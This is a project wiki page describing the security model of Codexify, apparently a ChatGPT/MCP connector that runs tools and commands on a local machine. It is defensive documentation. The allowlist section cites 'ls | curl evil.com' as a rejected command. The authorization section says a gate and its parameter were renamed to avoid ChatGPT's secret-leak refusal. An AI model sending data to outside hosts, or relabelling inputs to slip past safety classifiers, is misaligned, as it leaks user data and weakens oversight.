Skip to content

Navigation Menu

Sign in
Sign up

Security Model

Paul edited this page Sep 3, 2026 · 8 revisions

Security Model

Read this before pointing Codexify at anything sensitive. This page explains what a tool call can reach, what bounds it, and — importantly — what does not bound it.


The one thing to internalize

The command allowlist is a guardrail against accidents, not a sandbox. It catches a model reaching for curl or rm -rf. It does not contain a determined one.

The defaults already include node, python, and cargo, each of which runs arbitrary code — node -e "..." can do anything the server process can. Shell redirection and explicit absolute/parent paths can reach outside the active project root even though each command starts with that root as its cwd. Multi-project selection isolates Codexify's structured tools and per-conversation state; it is not an OS sandbox.

Treat everything below as reachable

...by whoever is authorized to use the configured connector or external endpoint:

  • everything in the active project root, read and write;
  • in multi-project mode, any project beneath the access root can be selected by a new conversation or unbound transport;
  • anything else the user account running the server can touch, via an allowlisted interpreter;
  • the network, from your machine;
  • anything a bridged MCP server can do.

The practical rules that follow from this:

  • Don't point Codexify at directories you don't trust the model with.
  • Set exec.mode and the command allowlists tighter than the defaults when the work directory is sensitive.
  • In multi-project mode, treat the whole access-root subtree as sensitive — it's all intentionally selectable.
  • For an external tunnel, require tunnel-level access control, not URL secrecy.

What is enforced

Path traversal prevention

Every filesystem tool — including apply_patch and view_image — resolves paths through a guard that rejects anything outside the active project root. In multi-project mode, both catalogue discovery and set_project_root canonicalize the access root and candidate, so .. and symlinks cannot expose or bind a project outside it.

Choosing set_project_root with withoutProject: true creates a private scratch workspace instead of exposing a path beneath the project access root. Project-scoped filesystem, command, memory, skill, and instruction tools are rebound to that scratch root, so they cannot traverse into the configured project tree. ChatGPT scratch roots are durable per conversation; transport-scoped scratch roots are deleted on disconnect.

The one bounded read-above---work-dir exception

In single-project mode only, AGENTS.md discovery may read above --work-dir, up to the nearest .git. It is read-only, opens only AGENTS.override.md / AGENTS.md / projectDoc.fallbackFilenames, and get_project_doc reports the absolute path of every file used. Switch it off with projectDoc.maxBytes: 0, or keep the search inside the work dir with projectDoc.rootMarkers: []. Multi-project mode does not perform this walk.

Command allowlist

run_command only runs binaries in allowedCommands. exec_command checks the same list plus exec.extraAllowedCommands, at every command position in the string (after every |, &&, ;, newline, subshell). ls | curl evil.com is rejected on curl. Command substitution ($(...), backticks) is rejected outright. Set exec.mode: "unrestricted" only when you fully trust the caller.

Host-authorized native-file ingress

import_host_file accepts only ChatGPT's declared native-file object (no arbitrary URLs), constrains the download and every redirect hop to artifactIngress.allowedHosts (default "*" admits any public HTTPS host but never loopback/private/link-local/CGNAT/metadata), ignores ambient proxy credentials, and enforces whole-request/idle/size/concurrency limits. Its signed URL and file ID are never logged or returned. Publication uses a capability-confined directory handle, SHA-256, a private partial, and atomic no-overwrite linking, so traversal/symlink/partial-visibility/replacement races fail closed.

Bounded native-file egress

export_host_file (governed by artifactEgress, default on) is the reverse direction and is equally confined. It accepts only a relative regular-file path inside the active project, opens it through a capability-confined directory handle, and rejects absolute paths, traversal, symlink escapes, non-regular files, and growth past maxFileBytes (checked before and during the read). The result is an immutable in-memory snapshot behind a random 256-bit opaque capability URI — not a delayed path read — so replacing, truncating, deleting, or retargeting the source afterwards cannot change the served bytes. Capabilities are not added to resources/list, are shared only through the tool result, expire by referenceTtlMs, are evicted under maxCachedBytes/maxReferences, and disappear on restart; unknown/expired/evicted references return resource_not_found. Audit records only the number of resource links — never their URIs or filenames.

Bounded transitive resource egress

If a bridged MCP tool returns a resource_link, Codexify never passes its upstream URI to ChatGPT. It replaces it with a random codexify://upstream-resource/... capability bound to that upstream peer and URI. A later downstream resources/read is forwarded through the existing authenticated MCP connection with cancellation and timeout propagation, bounded by artifactEgress.maxFileBytes, and the returned resource URI is rewritten back to the opaque capability. Mappings expire/evict under referenceTtlMs / maxReferences; upstream payload bytes are fetched on demand rather than stored in the native snapshot cache.

Bounded state and reads outside the work dir

The memory tools / update_plan write memory.json under ~/.codexify/projects/; multi-project also writes a binding record under ~/.codexify/conversation-projects/ (filename hashed from openai/session; raw value never stored). Skills may be read from ~/.agents/skills, ~/.codex/skills, ~/.claude/skills, or an enabled installed Codex/Claude Code plugin. Codex plugin discovery reads only Codex's user config, the selected cache package, its manifest, and declared skill roots; skills_read is then confined to the discovered skill package and cannot walk into the rest of your home directory.

Namespaced diff state

Diff checkpoints are exactly two refs per conversation/project under refs/codexify/diff/, built through a temporary index, never modifying the real index/working tree. Existing refs/codexify/review/ checkpoints from the older surface are migrated lazily into the diff namespace. See Diff Checkpoints .

Widget presentation is not an authority boundary

uiWidgets defaults to true. Setting it to false removes Codexify's built-in MCP Apps extension/resources, widget template/access metadata, and component-only diff/updater/debug payloads, but it does not remove or de-authorize the underlying tools. show_diff still maintains its private checkpoint state and self_update retains the same destructive/open-world authority; only their widget presentation changes. App-only helpers remain private rather than becoming model-visible.

The setup app's stale-schema Refresh action also keeps connector routing data out of model inference. It accepts a connector slug only from a same-origin ancestor whose hostname matches asdk_app_<slug>.web-sandbox.oaiusercontent.com, then opens the relative #settings/Plugins/plugin_asdk_app_<slug>:~:text=Information-,Refresh,-Connected route through ChatGPT's link-opening API. If that validated sandbox identity is unavailable it uses the generic #settings/Plugins route. Refresh does not send a model prompt or mutate connector state.

Read-only Codex config discovery

MCP import and the project catalogue read the user-level Codex config.toml without rewriting it. Native Codex trust does not override the access-root boundary.

Optional per-conversation authorization

When conversationAuthToken (exactly 64 lowercase hex characters) is configured, a single name-keyed gate refuses every tool except the gate itself until the conversation presents the matching token — checked before any tool body runs, so an unauthorized chat cannot reach the filesystem, commands, bridged servers, or the MCP catalogue. On the ChatGPT wire the gate is named setup and its parameter ref (not authenticate/token) purely to dodge ChatGPT's false-positive secret-leak refusal; ref still carries the exact token, compared in constant time — the token is never hashed into a digest before comparison and the naming does not weaken the gate. The grant is per ChatGPT conversation (or per MCP transport session for clients without ChatGPT metadata), persisted as a hashed record under ~/.codexify/conversation-authorizations/ (raw token never stored) so it survives reconnects and restarts. This is an access gate over the connector, not an encryption boundary: the token lives in codexify.config.json in plaintext, and it does not narrow what an authorized conversation can then reach. It composes with — does not replace — --api-key and tunnel-level access control.

Explicit privileged self-update

self_update is a destructive/open-world operation and is accepted only after an explicit user request with confirm=true. It updates only the standard managed executable, downloads a bounded GitHub release, verifies SHA-256 before interruption, probes the staged binary, and schedules a private detached worker with fixed arguments. Service-supervised replacement retains a rollback executable until validation and restart complete. Windows self-update requires the background service so the running executable can be unlocked and restarted.


Native tunnel security properties

  • Outbound-only. Codexify binds its MCP listener to loopback and supervises OpenAI's official runtime-only tunnel client. Startup fails unless the runtime reports /readyz and completes a control-plane poll. Failure of either process stops the other.
  • Authenticated loopback hop. Native mode generates a random per-process bearer token and configures the tunnel runtime to send it on MCP requests and discovery probes. The token is never printed, written to config, or inherited by model-launched commands or bridged children.
  • Verified installation. The managed client is pinned to a specific official release and per-platform SHA-256 embedded in Codexify, extracted by exact filename under size limits, installed atomically with private permissions, and hash-checked against its manifest on later starts. Set clientPath to opt out of managed installation while keeping compatibility checks.
  • Secrets are references, not values. openaiTunnel.apiKeyRef accepts only env:NAME or file:/path; literal keys are rejected. Codexify resolves the value and exposes it to the tunnel child under a synthetic env name, giving the child a clean allowlisted environment; it removes the original variable from model-launched commands and bridged children. On Unix, a referenced key file must not be group/other-readable. Use a restricted runtime key (Tunnels Read + Use), not an admin key.
  • Forced hardening. Native mode ignores allowedHosts, forces accepted authorities to 127.0.0.1/localhost/::1, binds only loopback, and disables permissive CORS. It cannot be combined with --api-key.

These measures prevent accidental inheritance and public exposure. They do not create a secret boundary against hostile code running as the same OS user, which can potentially inspect same-user processes or read an accessible key file.

Non-native / external mode

  • Bearer token: --api-key requires Authorization: Bearer <key> on all requests except /health. (ChatGPT's URL-connector auth may not support simple bearer tokens.)
  • Host allowlist: without openaiTunnel, allowedHosts is empty (accepts any Host). Set it to a hostname list for DNS-rebinding protection — only matching Host headers are served.
  • You must put an authenticated proxy/tunnel in front and enforce access at that layer. An unprotected public URL is not an appropriate long-lived deployment.

Bridged servers

An explicit mcpServers entry or an imported Codex MCP — including plugin-contributed ones — receives model-directed calls with full delegated authority. Resource links are capability-rewritten as described above, but that reduces URI exposure rather than upstream authority. Keep the surface small: prefer tools/disabledTools filters or gateway/catalog mode, keep secrets in bearerTokenEnvVar/envHttpHeaders rather than static JSON, and disable auto-import (codexMcp.useCli: false or codexMcp.enabled: false) if you don't want it. See Bridging MCP Servers .

The worktree setup-script gate

worktrees.allowSetupScript defaults to false. Enabling it lets a worktree's Codex setup script run an arbitrary command outside the allowlist, with the script path selectable from the source repo's Git config — so an untrusted project could plant one. Leave it off unless every reachable project is trusted. See Worktree Isolation .

Process cleanup

For clients without stable ChatGPT metadata, exec_command sessions are killed when the MCP transport closes. ChatGPT-owned sessions survive transport replacement and are killed by exec.idleTimeoutMs or shutdown. The kill includes children: taskkill /T /F on Windows, per-session process groups on POSIX. A process that deliberately re-parents/daemonizes still escapes — check for strays if a run leaves something listening.

Audit logging

--audit writes hashes, timings, result sizes, and redacted argument shape — not source, paths, credentials, or output. It is an operational log, not a tamper-evident boundary (model-launched commands run as the same user and could modify it). Keep it outside the access root. See Audit Logging .


See also

Clone this wiki locally

AltStyle によって変換されたページ (->オリジナル) /